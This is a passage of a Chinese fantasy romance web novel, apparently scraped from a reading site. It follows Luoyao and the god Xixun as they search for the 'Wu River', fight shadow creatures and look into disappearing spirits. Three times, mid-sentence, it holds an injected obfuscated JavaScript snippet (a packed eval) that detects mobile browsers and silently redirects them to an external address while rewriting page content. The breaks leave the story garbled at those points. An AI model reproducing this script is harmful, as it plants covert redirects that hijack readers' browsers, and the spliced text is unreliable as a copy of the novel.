世人相传,光明神羲洵少年修炼勤勉,飞升时年纪尚轻,原来还被政事杂务绊住了手脚。 珞瑶接过那支笔,发觉触手温润细腻,颜色又较象牙更白,几乎晶莹透光,细细一分辨,才发觉是鹿角所做。 她心中有了猜测,忽然感到手中笔好像有了温度一般。 羲泠很快印证了她的想法,“这支笔是羲洵用自己落下来的鹿角制成的,世上唯一一件,要是意外流落到外面,恐怕又要成为一件遭世人百般哄抢的神器。” 神君以原身鹿角做成的笔,自然有价无市。 此时,它正安静地躺在珞瑶手心,像是感受到她轻轻的摩挲,如被唤醒一般,闪动起柔和的光。 羲泠见了,意外得险些竖起眉毛,转念一想又泄了气,“我拿着它的时候,它像个死物一般,全无神器的灵气,一到你手上便活过来了……哼,像它主人一样。” 她气恼地说完,不再看那支“看人下菜碟”的雀毫,转而摆弄起其他陈设来。 珞瑶顿了顿,若有所思,复又低头看向手里欢快的笔。 也许是太久不见来客,雀毫待她格外热情,闪烁着神光,又赖在她手里不肯离去。 等到珞瑶终于将它放回原处,视线一转,却见羲泠神情微怔,指间不知何时拿了枚墨玉印鉴。 “这是她的。”羲泠轻声道。 周遭好像一下子安静了许多,从她落寞的神情里,珞瑶猜出了那枚印章出自何人——上任仙主,华辛。 “我这一身的神力,有一半是源于她。从前只要一想起来,我总是忍不住哭,可到现在,我竟然已经察觉不出心痛,就连‘母亲’这两个字都莫名地拗口,必须改称‘老仙主’才觉得合适。” 羲泠扯出一个苦笑,看向珞瑶,“如果那件事没有发生,我根本不会进入神山,你说,我到底是不幸透顶,还是因祸得‘福’?” 神明飞升前来自不同的族界,飞升之后,对各自族界的情感便会渐渐遗忘,更不用说仙逝数千年的亡母。 “失恃之苦,自不能称之为‘福’,但用自身修为助你飞升,也算全了老仙主的遗志。” 珞瑶道。她没有体会过何为亲眷之爱,却见过老牛舐犊,乌鸦反哺,知道所谓亲情,喜时令人如至云端,悲时令人肝肠寸断。 华辛已逝,好在族界安危无忧,膝下儿女皆有去路,即使他日化作漫天星尘,想必也再无遗憾了。 羲泠呼出一口气,自嘲地笑了起来,“珞瑶,其实我很羡慕你。” 珞瑶未言,等待着下文,听见她道:“世间苦痛,皆源于爱恨执念,你生来就不必体会这些,要是没有圣女的责任,你不知道会活得多轻松。” 由爱故生忧,由爱故生怖,若离于爱者,无忧亦无怖。因为圣女的身份,她免受世俗之苦,亦与所有鲜活的情感无关。 可她偏偏向往这种滋味。 珞瑶心中微动,那双莹蓝色的瞳眸不复从前冷清,悄然浮现出几分动容。 经纬楼最高处是一座悬空的阁楼,开阔的层山叠嶂如在眼前。远处,云海漫卷,明艳的丹霞渲染了整片天,看上去如梦似幻。 羲泠凭轩而坐,忽然低低道:“你说,如今我们身处的这片天地,究竟是真的还是假的?” 她声音沉闷,让珞瑶迟疑了一瞬,继而又听见她喃喃似自语,“也许是假的……全都是他幻想出来的,我们也是。” 珞瑶听不懂,但至少抓住了几个字眼,直到她出声询问,羲泠如梦初醒般回过神来,斩钉截铁地摇了摇头,“没什么,我瞎说的。” 她好像有话想说,却欲言又止,到底没有开口。 离开经纬楼时,珞瑶先行,羲泠走在后面,又叫住了她,“珞瑶。” 珞瑶闻声回头,见少女向来倔强,此时却像褪去了一角盔甲,琥珀瞳中闪着她看不懂的情绪。 她说:“我希望……六界求仁得仁,我们都能得到好的结局。” …… 上界通晓天地,但难免会忽视细枝末节,与其漫无目的地寻找,不如动用各界界主的力量。 羲洵深谙此理,去见过了仙主霄霜,交代事情原委时隐去要害,仍以巩固碧火台禁制为由。霄霜听后,当即派出了大批守卫前去各处查探,寻找“雾河泉”。 有了冥宫的前车之鉴,各方对待上界的谕令都更加尽心竭力,唯恐引火上身。 羲洵见珞瑶和羲泠未归,暂且留在了界主殿。静待回音之际,殿外侍从进来向霄霜报信,后者听后面露难色,犹豫再三,选择了向羲洵禀报。 “钟长老在殿外等候,还是想见神君一面。” 听说来人是谁后,羲洵心下沉了沉,钟长老是蓬莱负责看守朝暮轮的仙官,越过霄霜直接求见他,不会再为别的事了。 他没有拒绝,到底默许了钟长老的求见。片刻,一个衣着潦草的白胡子小老头迈着小碎步进来,向神君和界主一一见礼。 寒喧几句后,小老头似是犯了难,期期艾艾地不知该如何开口,只敢偷瞄羲洵以作试探,揣摩他的意思。 不久前他们才见过面,但显然没能消除他的疑虑。 羲洵在心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17293229|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里叹了口气,主动开口问起,“近日朝暮轮可有异常之处?” “下官要禀报的正是此事!朝暮轮那边——” 钟长老大喜,几乎是脱口而出,正要继续说下去,羲洵却笑意变淡,不容置疑地打断了他,“朝暮轮一切安好,从未发生任何异样。” 神明的话语掷地有声,是提点,亦是警告,态度已经很明显。 “这……” 钟长老愣住,慌忙低下头去,“可它毕竟象征着天地的时间运作,突现破损,下官担心……” 老者佝偻着背,羲洵心知他的为难,斟酌道:“此事并非意外,而在我意料之中。具体原因我不便言明,但你且安心,倘若日后出了岔子,自有我担着。” 钟长老满心不安,没想到会得到如此明确的担保,要知道神族并非独来独往,其一言一行往往代表着神山。 也许朝暮轮的变化乃是必然,而上界早已得到了天命的提示。 至此,钟长老彻底放下心来,向羲洵揖手,“下官明白了。” 羲洵颔首,目光淡淡移向别处,霄霜会意,识趣道:“神君放心,我定守口如瓶。” 殿外日头西斜,终于有负责搜寻的守卫归来,找到了雾河的踪迹,向上首之人回禀:“我族南部边陲有一条雾云江,江水下游泥沙逆回抬升,正好形成了一处悬泉,也许是神君要找的地方。” 羲洵精神大振,追问道:“这条江在何处?我竟从未听说过。” 守卫奉上一道绘制好的舆图,低头答话:“雾云江本不存在,乃是后天开辟出来的活水河,五千年前我族抵御幽祟袭击,战场上阵法劈裂了横亘的山石,才得以引水西流……” 羲洵拿着舆图,原本心中欣喜,听后却僵在了原地。 珞瑶和羲泠从经纬楼归来,踏进界主殿,正好听见了这一句。 五千年前,不正是老仙主华辛牺牲的那一战吗? 羲泠刚刚从沉重的回忆里抽离,如今旧事重提难以接受,心烦意乱地主动开口,“你们去找吧,我就不跟着了。” 她先行离去,珞瑶和羲洵不好阻拦,没过多久,他们也不再多留,向霄霜告辞前往雾云江。 霄霜望着他们离去的方向,目光不明,心中有自己的考量。 许久后,她对身后的钟长老道:“随我去看看朝暮轮。” 钟长老意外,“主上,你……” 霄霜脸色微沉,“羲洵神君虽出身蓬莱仙岛,但一朝飞升成神,又能有几分对我仙族的袒护,一旦日后东窗事发,各族只会将矛头对准我们,而不会得罪沉泽宫。” 她必须为蓬莱筹谋,即便刚刚向羲洵保证过,但那不意味着她全然不会插手。 上界超脱世俗,没有理由做损害六界和睦的事,这个她自不怀疑,可天地之间有能耐动摇时空流转的,除了诸神,还有一位。 何况,仙魔两族本就有旧怨。 想到这里,霄霜打定了心思,吩咐手下:“你去查一查孤妄崖最近的动向,如有反常,即刻来报。” 31. 江河一粟(五) 已至黄昏,珞瑶和羲洵来到仙界南域,经过宫殿和密林山岭,越向南越荒凉,当年的英烈埋骨之地,如今依然笼罩着散不去的阴云。 真正到达边境时,入眼寥无人烟,唯有荒废的屋舍、苍凉的尘沙,夕阳边,大江翻涌着滚滚奔流。 这便是雾云江了。 两人沿着江岸寻找,果真在下游找到了一处清泉,江水如漩涡般逆回流转。 珞瑶立在江边,指尖光点指向江面,含混着河床泥土的泉水翻腾起来,随后争先恐后地涌出大江,被灌进了细颈大肚的青瓷瓶中。 归魂灯之星,雾河泉下泥。 只剩下最后一件东西,他们就能彻底找回衰退的力量,使镇幽珠恢复如初了。 珞瑶没想到这次会如此顺利,施法召出镇幽珠,将青瓷瓶靠近—— 没有反应。 珞瑶不肯放弃,几度尝试唤醒镇幽珠,最后无果。要知道,从冥界带回归魂灯的时候,镇幽珠有所感应,是会自动闪烁起光芒的。 难道,这里不是天命所说的“雾河”? 欣喜被击碎,取而代之的是希望落空的沉寂。珞瑶看着手里的灵珠,陷入了短暂的无措,羲洵在她身边,温声道:“六界之大,我们还有未踏足之处,也许——” 他话没说完,身后破败的村屋里忽然传来几声响动,珞瑶感知到了不寻常的气息,神色一凛,立刻朝那个方向击出一掌! “轰——” 石头垒成的屋舍骤然倒塌,里面的“东西”受惊,纷纷窜了出来,外表黢黑可怖的域外怪物,发出阴森尖厉的啸声。 珞瑶想起前段时日仙族圣使的禀报,蓬莱仙岛边境的界壁异动,恐有幽祟潜藏入界,如果当真有,应该就是雾云江边这些了。 好在今日遇上的只是很普通的低阶幽祟,珞瑶抬手掐诀,欲直接消灭,羲洵拦住了她,眸色冷冽,“让我来。” 光明神处世温然,动怒时日月失色,令人见而生畏。 他鲜少如此,至少珞瑶上次看见他露出这样的神情,还是在冥宫处置伯池的时候。 羲洵很快出手了,浑厚的神光化作万钧利刃,迅速向幽祟逼近,狠狠贯穿了它们的身体。那些怪物尖啸着,哀嚎着,被神力击中又爬起,疯狂地向他们冲来,直到四肢折断,悉数倒在河谷中。 淡金色的光班如雨点般飞出去,羲洵不知疲倦地继续出招,甚至刻意放缓了节奏,好像小打小闹一般,实则每一下都带着致命的威力。 江边,沿岸的石块被神力抽打得稀碎,幽祟节节败退,而他步步紧逼。 珞瑶察觉出不对,上前拉他,“羲洵。” 羲洵恍若未闻,沉默着,挣开她手,目光始终锁定在那些怪物身上,比方才更加冰寒,竟有锐利的肃杀之意。 他没有镇幽之力,无法彻底消灭幽祟,却依然没有停手,哪怕那些幽祟早已不能动弹,成了血肉模糊的一团。 仿佛别无目的,只是不计后果的发泄。 幽祟身上的邪气难缠,若能点到为止最好,时间久了也是对神力的消耗。眼见他越来越不冷静,珞瑶语气重了几分,“羲洵!够了。” 她拦在羲洵面前,强硬地不许他再靠近,转头向河谷的方向一挥,几只半死不活的幽祟像干了的墨迹一样黏在谷底,转眼化作了黑雾。 顷刻之间,那些可恨可憎的怪物在他眼前消失了,羲洵终于停了下来,急促地喘着气,在原地僵立了好半晌。 居然让她看到自己这副样子…… 羲洵回过神,不禁一阵懊悔。他重返故地,又好巧不巧在这里撞上当年变故的“罪魁祸首”,一时间实在愤恨难抑。 天色越来越暗,周遭除了流水声,只有偶尔响起的虫鸣,羲洵长舒一口浊气,在巨石边坐了下来。 旧日战场旁,仙族将士尸骨未寒,至今仍用血肉滋养着雾云江边的仙草,而江水滔滔,永远不会为任何人停留。 一片静谧里,他的声音响起来,“蓬莱遭遇幽祟袭击的时候,我飞升不到千年,神力不够稳定,便只有长期闭关,后来我出关,终于接到了仙界的消息,却一切都迟了。” 那时战况惨烈,圣使战死后,幽祟铺天盖地地涌向蓬莱仙岛,形成了一道厚实的墙,切断了仙界向神山、澜渊传信的通道。 华辛向最近的魔界求援,最后没能等到援兵,等到各界中人听闻变故,急急赶到战场支援,仙族已然死伤惨重。 界主、叱咤风云的一方将领、被寄予厚望的少年天骄,全都葬送在了摇摇欲坠的防线之下。 血染红了群山,又卷着残石枯草汩汩离去。 日出时分,羲洵终于出关了,站在云山之外,遥望疮痍满地的蓬莱仙岛。 在一次又一次闭关修炼中,他体内的神骨逐渐坚不可摧,而仙界被屠,他心中本应翻山倒海的切肤之痛,却变得越来越迟钝。 就像一把生锈的刀子,生生豁开了他一半心脏,最后只留下了若有似无的伤痕。 江水东流,岸边,有好奇出水的鱼儿意外搁浅,羲洵看见了,将它们托进掌心,重新送回奔涌的清泉。 他垂着眸子,心情似乎也如动作般平静,眉间的熠熠辉光却明显黯淡了许多。 珞瑶坐在他身旁,问:“那你怪魔族吗?” 时过境迁,当初耽误战机、铸下大错的老魔尊早已逝去,追讨无益。 羲洵不由笑了笑,回答道:“昔人已去,我岂能因为一人之过,不分青红皂白地迁怒整个孤妄崖?我只恨我自己无用。” 恨自己无用,一护不住仙族生灵,二保不住至亲,事实上,当时蓬莱的消息传不到神山,就算他没有闭关,也依然改变不了最终的结局。 羲洵岂会不知这一点,千年间思绪百转,无非是胸中执念作祟,到底意难平。 “司掌日月轮转的光明神,炼制诛邪鼎,助澜渊拱卫天地,哪里无用?”珞瑶问。 这明明不是一回事,自己说东,她却说西。 羲洵无奈,唤道:“阿瑶——” 他的声音戛然而止,眼前人神情自然,看上去还是那个“冰块做的昙花”——这是沧丞的话。可羲洵总觉得她与往常不同,好像顶着一副冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299122|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冰冰的外表,内里却是温暖的熔岩流心。 羲洵不确定,一阵奇异的感觉侵占了他的心,甚至感到不可思议。 他忍住悸动,问:“阿瑶,你在安慰我吗?” 安慰,对珞瑶来说,这也是个足够陌生的字眼,印象中,她从没有做过这件事,应该也不会做。 可方才那些话,她说出来时竟如此自然,没有察觉到任何奇怪的地方。 珞瑶垂下眼睫,连自己也有些迷茫,“我也不知道,不知怎的,话便说出口了。” 她不懂自己的变化因何而来,但这份细微的变化已经足够让她震动,就好像一只活在画里的蝴蝶,它闻见了外面的花香,于是自己挣扎着,一点点长出了真实的血肉。 天边,月亮拂去了云层,为大地蒙上一层细雾,月华映着那双灰蓝色的眸子,说不出的温柔。 羲洵弯腰下去,捞起了圣女无意垂进江水的裙纱。 “雾云江不对,定然还有第二条‘雾河’,走吧,我们回去再想办法。” 他站起身,说道,遥遥望见远处山野交错,一片青葱缥缈,方回想起这里是蓬莱的南部边境。 羲洵心下有了主意,尚未开口,悦色已浮上眼眸,亮如星辰。 于是,他转身望向珞瑶,“从仙界飞回澜渊太远,我带你乘云梯回去,可好?” 云梯? 珞瑶怔了怔,下一刻,羲洵用行动给了她答案——光华散去,他变回鹿身原形,周身皮毛光滑又洁净,透亮的鹿角在夜空中发着光。 “阿瑶,上来。” 他声音轻快,含着几分笑意,竖起的鹿耳微微一晃。 月华沉静,一把碎星照亮了满天,朦胧的云雾里,唯见一道鹿影跃上层霄,难得在天外张扬。 九天灵鹿穿梭在云间,身后曳出一道耀眼的金辉。珞瑶坐在鹿背上,倒是不觉颠簸,任由凉风吹起她的钗旒和裙角。 偶然间,她瞥了一眼云下的风景,霎时间屏住了呼吸。 云巅之下,夜色隐去了山林,仍见江雪缈缈,灯影迢迢,满眼繁华的烟火气,临高而望远,村舍茅屋错落在山野之间,家家户户门前都点着灯。 就好像一群抱团取暖的蚂蚁,脆弱、渺小,却格外动人。 这震人心魄的景象几乎让珞瑶移不开眼,她瞳孔微动,一恍就失了神。 这些年,她四处镇压幽祟、平息风波,分明日日在各界之间奔走赶路,却好像从未来得及低头看一眼,也从来没有在路途中问过自己,她为何要守护生灵、她守护的生灵都是什么样的,是好是坏、是善是恶、是勤劳朴素,还是勇敢善良? 万物有灵,浮生亦有千重貌。 原来,这才是诗卷古籍中描绘的“人间”。 那一刻,珞瑶体内灵气翻涌,心里前所未有的通透和轻松,好像有什么积塞已久的关窍,忽然被这熙熙攘攘的景色打通了。 她忍不住倾身上前,手覆上去,摸了摸那对冰透的鹿角,羲洵没有防备,浑身都颤了一下。 澜渊将至,小鹿步履未停,耳朵悄悄变成了粉色。 32. 江河一粟(六) 拂晓之时,众神齐聚澜渊圣境,与珞瑶一道来到圣坛之上,以血铸成问天大阵。 缃雀向旭日飞去,驱使镇幽珠悬浮在高空,一道擎天光柱落下来,没过多久,便淡淡归于平息。 上次在这里,他们起阵连通天地,使天命卷轴降于世间,得到了恢复镇幽珠力量的指引,今日再次问天,却没有得到任何应答。 朝梧宽慰道:“六界这么大,一时找不到线索也是正常,珞瑶,你莫要太苛责自己了。” 珞瑶点了点头,没有说话,羲洵心知她的作难之处,没人知道外面现在是什么样的情况,幽族蠢蠢欲动,其首领魇垂涎界内已久,难保不会有什么动作。 他们能等得,就怕界壁等不得,六界生灵等不得。 片刻功夫,澜渊圣境外传来铃兰声,来人是灵族的圣使,想是有事禀报。 圣境外的结界解开,没过多久,灵族圣使来到了圣坛上,先唤了珞瑶一声“殿下”,看到诸神也在,明显露出意外的神色,又忙向他们行礼。 珞瑶问:“什么事?” “属下确有要事回禀。”圣使面露踯躅,垂首坦白,“近日灵界不大太平,灵犀屿有几只精灵意外失踪了,到处找过后还是没有任何音讯,竟像从天地间蒸发了一般。” 珞瑶眉头一皱,大约清楚了圣使前来回她的原因,紧接着便听她坦白了,“起初灵王怕引起动荡,不许人声张,但属下担心是幽祟所为,所以不敢不告知殿下。” 若在以往,幽祟只要一入界,圣使必定感应得到,可如今不同了,高阶幽祟具有藏匿气息的能力,未尝不会埋伏逃过圣使的眼睛。 思及此,珞瑶决意去一趟灵界。 方才谈论的事仍牵动着她心弦,于是问圣使:“你是灵族,可在灵界听说过一个叫‘雾河’的地方?” 虽然不知她为何会突然问起这个,圣使还是认真回忆了一番,摇了摇头,“属下不知此地。若殿下想要寻找,我便去找个消息通达的精灵询问一番,应该更稳妥。” 灵犀屿…… 珞瑶想了想,“这个,我应该有办法。” …… 为免再出现先前隐月湖底的意外,这次羲洵依然与珞瑶同往,两道焰光飞出澜渊圣境,避开层层严密的禁制,悄然进入了灵犀屿。 相比蓬莱仙岛的雕栏画栋、孤妄崖的阴森沉冷,灵界疆域坐落于海上,全部由星罗棋布的岛屿构成,灵犀屿则是灵族治下的岛屿之一,岛上鸟鸣风吟,处处是自然无拘的气息。 在这里,映入眼帘的每一处山川、每一株花草都可能是有感情、会说话的精怪,但其中拥有修为、能化人形的少之又少。 穿过梦幻的萤火,巴掌大小的花灵、草灵敏捷地穿梭在树林之间,好奇又大胆地观察着外族的来客。 两人继续向深处去,珞瑶柳目始终逡巡着,仿佛在搜寻着何人的身影,走进一片桃花林,一朵开得正艳的桃花迎风而落,停留在她肩头。 然后,“桃花”长出小翅膀,瞬间变成了圆滚滚的精灵模样。 “这是哪里来的美人,我竟从未见过,难道,你就是大名鼎鼎的珞瑶圣女?” 精灵的声音瓮声瓮气,顶着一张稚嫩又可爱的皮囊,偏偏说出的话又有几分轻佻。 珞瑶无奈,催促道:“快些现形。” “桃花”听了,在空中欢快地转了个圈,“殿下如此着急,可是想我了?” 一阵风袭来,它飘向远方,穿过枝桠错落的桃林,珞瑶跟了上去,被簌然而下的落英迷了视线,四处寻望时,听见花间传来一道柔媚的男声。 “殿下,我在这儿呢!” 满地缤纷,桃花灵落回母树,瞬间变成了一个姿容绝艳的美人,半倚在盘虬的枝干间。他手里拿了把小扇,浅粉色的薄纱随意披在身上,发如墨,肤如雪,真有几分雌雄莫辨的味道。 神秘不过转瞬,“桃花”霍地收起小扇,风风火火朝珞瑶迎了上去,“殿下许久不来,我还以为你把我忘了!” 这只开屏孔雀名叫镜花,是先前珞瑶来灵界镇压幽祟时结识的桃花灵,他喜欢在外游玩,消息向来灵通,关于近日灵犀屿发生的事,问他应该不会错。 镜花在珞瑶面前大献殷勤,那双惑人的眼眸亮晶晶的,偏生珞瑶的情窍像被蜡油封了个严严实实,硬是半分不对劲都没感知到。 羲洵站在一旁,俨然成了透明人,半晌,镜花才像是终于发现珞瑶身边还有一位,于是笑意消失,倨傲地抬起了下巴,“你是何人,我怎么从未在殿下身边见过你?” 羲洵的眉头皱了一下,正欲开口,但被珞瑶拉住了,回道:“他是我的圣使,此次助我来追剿幽祟。” 灵界的结界不比冥界那样森严,不会出现落地就暴露的情况,所以他们无需伪装气息,但珞瑶不准备告诉他羲洵的真实身份,原因无非一个——她清楚镜花张扬的性子,谁知道他在知道后会不会叫喊得整个灵犀屿皆知? 毕竟初相识的时候,他就是这样对待自己的。 镜花在灵犀屿长大,虽然常年在外游玩,但从来没见过什么神啊仙啊的大人物,听后也没有疑心,他挑剔的目光上上下下将羲洵打量了一遍,哼道:“倒是生了副好皮囊,勉强能与我比一比,不过看上去颇为木讷,定然没我有趣。” “……” 羲洵活了几万年,哪里被这样无礼地对待过?更别说眼前还是个明显对珞瑶有爱慕之意的小花灵。 他理智尚在,闷着没反驳,转而看向珞瑶,那双琥珀眸依然温润干净,却隐隐含着不甘,仿佛露出了小鹿本体。 珞瑶冷惯了,原本想着正事,此时竟不合时宜地有些想笑,又忍住了,冲他细微地摇了摇头。 ——忍一忍。 镜花对两人的交流浑然不觉,他目光回到珞瑶身上,瞬间变了脸,声音也甜起来,“殿下这次过来藏着身份,想必是有大事要做,镜花能不能帮上忙?” 珞瑶顺势告知他来意,提起了灵族圣使禀报的事,镜花恍然大悟,立马接话:“的确有这么一件事,找不到凶手,我的那些族灵都不敢出门了!” 桃花灵像是找到了守护神,对着珞瑶,如倒豆子般将自己知道的全说了一遍,谁知这朵野桃花在外面玩久了,平时根本见不到多少灵犀屿的精灵,因此了解也不多。 要弄清楚此事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303355|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还是要找到真正知晓的长老问询才行。 镜花是只闲不住的花灵,听后二话不说拍了拍胸脯,带着两人回了家。 到了灵犀屿山谷中的精灵群落,花灵和各类蜂蝶最先感知到外来的气息,接连从密林深处飞出,围着镜花叽叽喳喳了起来。 密密麻麻的精灵挡住了镜花的视线,没过多久,一只喜鹊特征的精灵从古老的大树后冲了出来,远远看见他的身影,怒喝道:“臭小子,你还知道回来!” 听见这道声音,镜花脸色大变,原本的从容与魅惑被一扫而光,当即就要往珞瑶身后躲,然而喜鹊不给他这个机会,一把攫住了他的衣领。 “多久没回家了,能修人形就翅膀硬了?你知不知道母父都担心死了!” “你野成这样,将来上哪儿去寻妻主,啊?” 喜鹊气不打一处来,色泽艳丽的双翅变成了上家法的戒尺,混乱间绒羽乱飞。镜花慌乱之下变回了精灵本体,一边逃一边大叫,“姐姐,姐姐!别打了,我带客人来了!” 客人? 喜鹊停了下来,扭头一看才发现了珞瑶和羲洵,这般装束气度,一看便知是外族之人。 “灵犀屿许久不曾来过客人,让两位见笑了。” 它换上笑容,在空中优雅地打了个旋,好像方才姐弟扭打的场景没有发生过。 灵族以女为尊,上下大小权柄皆由母性把控,而灵犀屿的首领正是喜鹊。 珞瑶和羲洵走上前,与喜鹊交谈,镜花虽然被胖揍了一顿,仍忙不迭凑上前来,帮两边相互介绍,对自家姐姐只说他们来自澜渊,是来帮灵犀屿查失踪案的。 一众精灵听了没有多想,以为是类似圣使一般的人物,热情地将他们迎了进去。 从喜鹊和其他精灵长老口中,珞瑶和羲洵了解了内情。灵犀屿相继发生了三起失踪案,生不见灵,死不见尸,其他精灵都觉得蹊跷,又找寻不见,最后上报到了灵王那里,如今眼见过去了半月不止,依旧追查无果。 羲洵:”失踪了的都是什么精灵?” “两只树灵,一只蜂灵,还有一只水貂。” 喜鹊细细回想着,“他们四个没什么相同之处,只有最后去过的地方,都是在灵犀屿迎风山坡后面的一处海湾。” 看来问题就出在这个地方了。 珞瑶问:“哪个海湾?” 喜鹊似是犹豫了一下,如实道:“晴水湾。此地……” “晴水湾?他们怎么会去那个地方!” 镜花大惊,当即脱口而出,忙绕到珞瑶身边,“殿……使者,你还是别去了,那里邪门的很,万一你在里面出了什么意外,我怎么办?” 他伏在珞瑶膝前,如泣如诉,随后头便被不轻不重拍了一巴掌,“什么你怎么办?不知羞!” 喜鹊打断了他,给珞瑶递了一个“教导不力请多担待”的眼神,见镜花还想张口,提醒道,“教过你的规矩呢?女子说话,小桃花不许插嘴。” 镜花果然不说话了,委屈地撅着嘴。 羲洵是客,自然受精灵们尊重,他在旁看着,一面觉得有趣,一面默默在心里念了两遍“入乡随俗”。 33. 江河一粟(七) 眼下有了线索,两人不便久留,准备去晴水湾一探究竟,准备离开精灵群落的时候,外面的精灵们正围着一棵古老的巨树,进行着不知名的祭拜仪式。 虔诚的精灵聚了又散,唱着神圣的歌谣,透过它们行走间露出的缝隙,珞瑶才看清巨树下还矗立着一块石刻的玄鸟雕像,正是昆舆神座。 上古创世之神有三位,太煦、九姚、昆舆,其中昆舆陨落于海,开辟出了灵界诸岛屿,因此被灵族奉为始祖。 忽然间,珞瑶感到有些怪异,一瞬间仿佛看见了丝丝缕缕的气息,霸道地盘踞在神座之上,蒙住了玄鸟的瞳眸。 说不上是什么东西,但足够让人不安。 她目光未移,径自来到神座面前,欲抬起手靠近时,羲洵的声音适时在耳畔响起,“上古神座力量未知,尽量不要碰。” 他低声提醒,让珞瑶停住了,他们还没有露出身份,眼下修为薄弱的灵台更加难以承受上古神的余威。 想到这里,珞瑶放下了手,隔空仔细感受,那股奇怪的气息又好像从未出现过一样,消失地无影无踪了。 喜鹊飞了上来,神情迟疑,不知两人为何对这神座如此关注。珞瑶敛下思绪,道了一句“没什么”,便和羲洵一起向晴水湾方向去了。 …… 两人一路西行,渐渐远离了精灵聚居之地,来到了喜鹊说过的迎风山坡。 海水滋养了离岸不远的草木,这里人迹罕至,一片深绿葱茏,到处是枝干纵横的老树。 晴水湾名为海湾,实际除了岸边的礁石海浪,还包括这片茂密的原始丛林。据镜花所说,这里地形诡谲,极易迷失方向,所以一向少有精灵踏足。 如此,那三起连续发生的失踪案就更加蹊跷了,明知山有虎,为何偏向虎山行? 精灵长老们怀疑是里面藏了什么凶物,才将它们引诱进去的。 珞瑶和羲洵倒是没有什么关于安危的顾虑,走进了这片被传得神乎其神的丛林,两人向着海岸前行,没走多久,就察觉到了不对劲。 他们一直南行,不知何时开始,眼前变换成了东边的景色,继续向前一段距离,转瞬间又回到了原地。 明明蔚蓝的海湾就在能看到的不远处,却好像无论如何都走不到尽头。 羲洵:“上古神力量盖世,各有不同的创世能力,阿瑶,你还记不记得昆舆的能力是什么?” 扭曲空间,移步换影。 珞瑶心下了然。上古神陨落数万年,安置在灵界各个岛屿上的昆舆神座,相当于是一种特殊形式的“招魂”。 那么,晴水湾应该就是在神识影响下形成的幻境。 上古神的力量不仅会左右制造出的幻境,还会波及进入这里的生灵,珞瑶体内的灵台原本波澜平静,此时如同感应到威胁一般动荡起来。 晕眩感铺天盖地而来,她立刻凝神,开始调息灵力。 须臾,那阵感觉渐渐消退了,珞瑶适应了被暂时削弱的灵力,回头一看,却见羲洵状态不对,面色前所未有的难看。 珞瑶一怔,“你怎么了?” 羲洵摇了摇头,想说“没事”,脸色却越来越苍白。 他是神族,本身修为强盛,受上古神识的影响不该如此强烈。 珞瑶意识到什么,不顾羲洵挣扎,一把握住了他的手腕,随即感受到他灵台之中的状态,僵在了原地。 光明神体内的神力,不是她想象中如汪洋般的充盈,而是枯败的蓬蒿,衰微、无序…… 几近荒芜。 珞瑶的声调抬高了,“发生什么了?你为何——”为何会如此虚弱? 然而,羲洵还是没有回答,咬着牙,固执地在忍耐些什么,他坐在古树下,很快失去了意识。 …… 厚实的树冠遮蔽了大半的阳光,只有少数透进来,影影绰绰洒在林间。 等到羲洵苏醒,发现自己靠在树下,而珞瑶就在一旁。 看到他醒来,珞瑶停止了为他疗伤,但没有出声,一半面容隐在树荫下,像终年不化的夜雪。 “阿瑶,我……” 羲洵声音微哑,他想解释,但不知该从何说起,久久的沉默里,珞瑶先开口了。 她口吻平静,将长久以来的心事坦白,“从碧火台出事那天开始,我就经常做梦,梦到的都是不祥的场景,按照梦境中的结局,界壁崩塌,幽祟攻进来,我会死,六界也会失陷。” 身为圣女,珞瑶没有亲人,连朋友也少之又少,能称得上信任和“亲近”的不过一手之数,诸神当然在其中。 当发现羲洵神体虚弱的时候,她心头闪过了种种思绪,快得让她抓不住,最后只剩下一个念头:天地间偶有动荡,但已许久没有发生过足以让神明元气大伤的大战。 她不懂情感,看不出他所想,也猜不出他因何而伤、为谁所伤。 从珞瑶说起梦境开始,羲洵不言,瞳眸却微微颤动,修长的指节悄然攥紧了。 他在紧张。 “羲洵。”珞瑶唤他名字,声音在安静的环境里显得更加沉寂,“那些梦已经足够我忧虑,现在,你让我更不安了。” 因为这一句话,羲洵心中筑起的名为“冷静”的墙险些垮塌,呼吸也变得急促起来。 他更靠近了她一点,“我以后再向你解释,好吗?我向你保证,这件事与神山无关,更不会损伤六界。” 珞瑶默了一息,“好。” 她答应了,便真的不再多问,就好像这件事从未发生过。 她不再挂心了,也不理会他,自己清理起沾在衣裙上的草叶。 一件事看似翻了篇,气氛却愈发凝滞。 